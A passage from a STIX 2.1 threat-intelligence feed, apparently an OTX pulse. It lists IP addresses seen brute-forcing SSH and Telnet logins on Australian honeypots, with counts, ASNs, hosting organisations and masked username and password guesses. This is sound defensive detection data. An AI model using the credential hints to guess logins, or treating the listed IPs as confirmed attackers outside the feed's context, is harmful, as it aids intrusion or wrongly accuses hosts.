      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 205. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, c***d, a*****x, c*****p. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, A******@.",
      "id": "indicator--136a5185-d65a-4700-9186-19ffb1f13fa3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.26.36.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, 1*******9, p******d.",
      "id": "indicator--bb43ef70-da02-48ec-a06a-aa38e9cc51ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.61.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, f******1, *. Passwords observed (masked): 1**4, 1***5, T******3, r*******t.",
      "id": "indicator--c0ff1200-7dbd-46e8-967b-67c6c47ac5c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.137.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 215590. Organisation(s): DpkgSoft International Limited. Usernames observed (masked): 3**********4, c***d, d****r, j*****s, ***. Passwords observed (masked): 3***********4, 3**********4, 1***5, ***, 1****6.",
      "id": "indicator--a629faea-e254-4f81-9205-3ec956b11d44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.31.140.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc..",
      "id": "indicator--046afccb-6fa4-491c-b0a8-7418b53140b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.251.197.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u, ***. Passwords observed (masked): ***, q******4, u****u.",
      "id": "indicator--44ff38b8-0b9d-48e9-bc60-60e753d5fd03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.229.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 31. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, ***. Passwords observed (masked): ***, ***.",
      "id": "indicator--5e172e9c-21ad-46d3-a33e-f326b9c5e9f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.62.15.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): 3**********4, c***d, d****r, j*****s, ***. Passwords observed (masked): 3***********4, 3**********4, 1***5, ***, 1****6.",
      "id": "indicator--fb015fa9-1f1c-41c8-aaaf-e85b4a53b796",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.11.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 23106. Organisation(s): AMERICAN TOWER DO BRASIL-COMUNICACAO MULTIMIDIA LT. Usernames observed (masked): s****o, 3**********4, ***, a****y, c***d. Passwords observed (masked): 1***5, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--2bb939b0-f49c-480e-ad94-4ec637c63aed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.248.197.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****3, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--4c3e96db-f24a-416e-87a3-1d1df769583b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.91.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): 3**********4, c***d, d****r, j*****s, ***. Passwords observed (masked): 3***********4, 3**********4, 1***5, ***, 1****6.",
      "id": "indicator--55b3844a-eac3-4b85-9cd7-a15b2f2aa151",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.134.133.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T04:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, n***x, u****u.",
      "id": "indicator--4836c3f6-6e8c-44db-b476-39d078ef2c69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T04:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '98.70.30.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T04:15:04.000Z",
      "valid_until": "2026-04-12T04:15:02.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): w**2. Passwords observed (masked): w*****3.",
      "id": "indicator--a95129c3-62a8-4bd5-98f7-6acf8e4d90bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.126.64.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 65. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 151391. Organisation(s): Varendra IT. Usernames observed (masked): s****m. Passwords observed (masked): 1**4.",
      "id": "indicator--3e11ad28-f952-4786-9912-49d6894373f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.150.65.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 151391. Organisation(s): Varendra IT. Usernames observed (masked): 3**********4, ***, c***i, c***d, ***. Passwords observed (masked): ***, 3***********4, 3**********4, T******!, b*****4.",
      "id": "indicator--dc52768e-c49a-49e5-ad90-39ab2369ad6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.150.65.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 151391. Organisation(s): Varendra IT. Usernames observed (masked): u******1. Passwords observed (masked): ***.",
      "id": "indicator--73cfb018-1bb8-4bd2-95a0-cf3e63ef5b3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.150.65.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--16c4a818-8e87-4603-a436-ff631a2fef87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.97.214.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--9f9c352c-8d9b-4a1c-8d35-10e5fec162aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.117.154.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a****d, n***o, 3**********4, c***d, e**n. Passwords observed (masked): p******d, ***, 1**4, 1****6, 1******8.",
      "id": "indicator--cf1e17c6-7ee3-42a1-bb99-634fc9f7c534",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.6.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--a8939b6c-3464-4fa0-97c2-093a94db4a28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.212.245.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 203. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): c***n, c***d, t***1, 3**********4, G***t. Passwords observed (masked): 1**4, 1***5, 1******8, ***, 1****6.",
      "id": "indicator--6672f08b-1e3b-4413-b956-2d93912642d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '187.212.42.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s**v. Passwords observed (masked): ***, 1****6, 1******8, s**v.",
      "id": "indicator--21a08d65-acdc-4ca0-8fde-068cdadb4e12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.172.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): a****d, n***o, 3**********4, c***d, e**n. Passwords observed (masked): p******d, ***, 1**4, 1****6, 1******8.",
      "id": "indicator--daa3c43a-da0c-4aa6-a330-68682c216d03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.89.178.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6f22bcf2-5657-4a8c-97ed-f02a9cf6d5ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--aeb1ccdd-8272-4ee3-a6d1-7f62d39ce086",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.29.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 581. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t. Passwords observed (masked): B*************g, B**************!, B***************1, B*****************3, B******************4.",
      "id": "indicator--1a3e7d37-d536-4624-8679-dfad30ddb6a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, c***d, d****n, m*****a. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, A********6.",
      "id": "indicator--cd0474bc-e34b-4827-bba2-694670853a57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.110.147.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--a1d9537b-2361-4f3f-842a-b4c69a180f51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.58.42.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T05:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): 3**********4, a***d, **, c***d, **. Passwords observed (masked): ***, 3***********4, 3**********4, 1****6, D************3.",
      "id": "indicator--84d177a0-6cff-4d3b-8399-1c731df31a7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T05:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.47.118.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T05:15:14.000Z",
      "valid_until": "2026-04-12T05:15:12.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): 3**********4, f******1, n*****w, s******t, c***d. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1******8.",
      "id": "indicator--1c99c94a-98c7-4631-94b8-6f6ae690beca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.13.207.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--741363b3-8722-4579-83cd-15eb094f7c40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.191.32.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s****a, s**v, f********r, n**e, ***. Passwords observed (masked): ***, 1******8, 1**4, 1****6, S****a.",
      "id": "indicator--bd30f073-b839-4696-95a0-4412bf86748b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.107.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 701. Organisation(s): Verizon Business.",
      "id": "indicator--c8344581-a224-415f-8ef2-258e94e0813a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.50.123.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T06:15:03.000Z",
      "valid_until": "2026-04-12T06:15:01.000Z"
    },
    {
      "created": "2026-03-11T06:15:03.000Z",
